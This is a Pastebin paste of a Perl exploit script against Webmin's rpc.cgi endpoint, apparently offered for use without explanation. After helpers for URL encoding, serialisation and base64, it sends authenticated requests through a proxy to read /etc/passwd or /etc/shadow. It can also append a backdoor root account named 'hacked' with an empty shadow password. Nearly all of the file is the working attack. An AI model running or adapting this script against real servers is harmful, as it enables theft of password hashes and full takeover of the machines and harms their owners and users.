Guest User

a.perl

a guest
Jan 31st, 2019
61
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.67 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # urlize
  3. # Convert a string to a form ok for putting in a URL
  4. sub urlize {
  5. local $rv = $_[0];
  6. $rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;
  7. return $rv;
  8.  
  9. }
  10.  
  11. # un_urlize(string)
  12. # Converts a URL-encoded string to the original
  13. sub un_urlize
  14. {
  15. local $rv = $_[0];
  16. $rv =~ s/\+/ /g;
  17. $rv =~ s/%(..)/pack("c",hex($1))/ge;
  18. return $rv;
  19. }
  20.  
  21. # serialise_variable(variable)
  22. # Converts some variable (maybe a scalar, hash ref, array ref or scalar ref)
  23. # into a url-encoded string
  24. sub serialise_variable
  25. {
  26. if (!defined($_[0])) {
  27. return 'UNDEF';
  28. }
  29. local $r = ref($_[0]);
  30. local $rv;
  31. if (!$r) {
  32. $rv = &urlize($_[0]);
  33. }
  34. elsif ($r eq 'SCALAR') {
  35. $rv = &urlize(${$_[0]});
  36. }
  37. elsif ($r eq 'ARRAY') {
  38. $rv = join(",", map { &urlize(&serialise_variable($_)) } @{$_[0]});
  39. }
  40. elsif ($r eq 'HASH') {
  41. $rv = join(",", map { &urlize(&serialise_variable($_)).",".
  42. &urlize(&serialise_variable($_[0]->{$_})) }
  43. keys %{$_[0]});
  44. }
  45. elsif ($r eq 'REF') {
  46. $rv = &serialise_variable(${$_[0]});
  47. }
  48. return ($r ? $r : 'VAL').",".$rv;
  49. }
  50.  
  51. # unserialise_variable(string)
  52. # Converts a string created by serialise_variable() back into the original
  53. # scalar, hash ref, array ref or scalar ref.
  54. sub unserialise_variable
  55. {
  56. local @v = split(/,/, $_[0]);
  57. local ($rv, $i);
  58. if ($v[0] eq 'VAL') {
  59. $rv = &un_urlize($v[1]);
  60. }
  61. elsif ($v[0] eq 'SCALAR') {
  62. local $r = &un_urlize($v[1]);
  63. $rv = \$r;
  64. }
  65. elsif ($v[0] eq 'ARRAY') {
  66. $rv = [ ];
  67. for($i=1; $i<@v; $i++) {
  68. push(@$rv, &unserialise_variable(&un_urlize($v[$i])));
  69. }
  70. }
  71. elsif ($v[0] eq 'HASH') {
  72. $rv = { };
  73. for($i=1; $i<@v; $i+=2) {
  74. $rv->{&unserialise_variable(&un_urlize($v[$i]))} =
  75. &unserialise_variable(&un_urlize($v[$i+1]));
  76. }
  77. }
  78. elsif ($v[0] eq 'REF') {
  79. local $r = &unserialise_variable($v[1]);
  80. $rv = \$r;
  81. }
  82. elsif ($v[0] eq 'UNDEF') {
  83. $rv = undef;
  84. }
  85. return $rv;
  86. }
  87.  
  88. # encode_base64(string)
  89. # Encodes a string into base64 format
  90. sub encode_base64
  91. {
  92. local $res;
  93. pos($_[0]) = 0; # ensure start at the beginning
  94. while ($_[0] =~ /(.{1,45})/gs) {
  95. $res .= substr(pack('u', $1), 1)."\n";
  96. chop($res);
  97. }
  98. $res =~ tr|\` -_|AA-Za-z0-9+/|;
  99. local $padding = (3 - length($_[0]) % 3) % 3;
  100. $res =~ s/.{$padding}$/'=' x $padding/e if ($padding);
  101. return $res;
  102. }
  103.  
  104. use Socket;
  105. if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP remotePort username password command_interface
  106. command interface should equal one of these:
  107. 1 - read file /etc/passwd
  108. 2 - read file /etc/shadow
  109. 3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")
  110. 4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")
  111. ";}
  112.  
  113. $username = $ARGV[4];
  114. $password = $ARGV[5];
  115.  
  116. $proxyPort = $ARGV[1];
  117. $proxyIP = $ARGV[0];
  118.  
  119. $remoteIP = $ARGV[2];
  120. $remotePort = $ARGV[3];
  121. $command_interface = $ARGV[6];
  122.  
  123. $target = inet_aton($proxyIP);
  124. $paddr = sockaddr_in($proxyPort, $target);
  125.  
  126. print "Connecting to: $proxyIP:$proxyPort, with the following user: $username and password: $password. Hacking server:
  127. $remoteIP:$remotePort\n";
  128.  
  129. $auth = &encode_base64("$username:$password");
  130. $auth =~ s/\n//g;
  131.  
  132. if (($command_interface eq 1) || ($command_interface eq 3))
  133. {
  134. $d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};
  135. }
  136. if (($command_interface eq 2) || ($command_interface eq 4))
  137. {
  138. $d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};
  139. }
  140.  
  141. $tostr = &serialise_variable($d);
  142. $lengthstr = length($tostr);
  143.  
  144. $request = "POST /rpc.cgi HTTP/1.1
  145. Host: $remoteIP:$remotePort
  146. User-agent: Webmin
  147. Authorization: basic $auth
  148. Content-Length: $lengthstr
  149.  
  150. $tostr";
  151.  
  152. print "Sending:\n---\n$request\n---\n";
  153.  
  154. $proto = getprotobyname('tcp');
  155. socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");
  156.  
  157. connect(S, $paddr) || die "connect: $!";
  158.  
  159. select(S); $|=1; # print $pstr;
  160. print $request;
  161.  
  162. $found = 0;
  163. while(<S>)
  164. {
  165. if (($found == 1) || (/^\r\n/))
  166. {
  167. if ($found == 0)
  168. {
  169. $found = 1;
  170. }
  171. else
  172. {
  173. $in = join ("", $in, $_);
  174. }
  175. }
  176. }
  177. select(STDOUT);
  178.  
  179. print "Raw:\n---\n$in\n---\n";
  180.  
  181. print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, "\n---\n";
  182.  
  183. close(S);
  184.  
  185. if ($command_interface eq 3)
  186. {
  187. $d = { 'action' => 'write', 'data'=>join("", unserialise_variable($in)->{'rv'}, "hacked:x:0:0:root:/root:/bin/bash\n"), 'file' =>
  188. "/etc/passwd", 'session' => "0"};
  189. }
  190. if ($command_interface eq 4)
  191. {
  192. $d = { 'action' => 'write', 'data'=>join("", unserialise_variable($in)->{'rv'}, "hacked::0:99999:7:-1:-1:134538548\n"), 'file' =>
  193. "/etc/shadow", 'session' => "0"};
  194. }
  195.  
  196. $tostr = &serialise_variable($d);
  197. $lengthstr = length($tostr);
  198.  
  199. $request = "POST /rpc.cgi HTTP/1.1
  200. Host: $remoteIP:$remotePort
  201. User-agent: Webmin
  202. Authorization: basic $auth
  203. Content-Length: $lengthstr
  204.  
  205. $tostr";
  206.  
  207. print "Sending:\n---\n$request\n---\n";
  208.  
  209. $proto = getprotobyname('tcp');
  210. socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");
  211.  
  212. connect(S, $paddr) || die "connect: $!";
  213.  
  214. select(S); $|=1; # print $pstr;
  215. print $request;
  216.  
  217. $found = 0;
  218. while(<S>)
  219. {
  220. if (($found == 1) || (/^\r\n/))
  221. {
  222. if ($found == 0)
  223. {
  224. $found = 1;
  225. }
  226. else
  227. {
  228. $in = join ("", $in, $_);
  229. }
  230. }
  231. }
  232.  
  233. select(STDOUT);
  234.  
  235. print "Raw:\n---\n$in\n---\n";
  236.  
  237. print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'}, "\n---\n";
  238.  
  239. close(S);
  240.  
  241. # --- EOF ---
Add Comment
Please, Sign In to add comment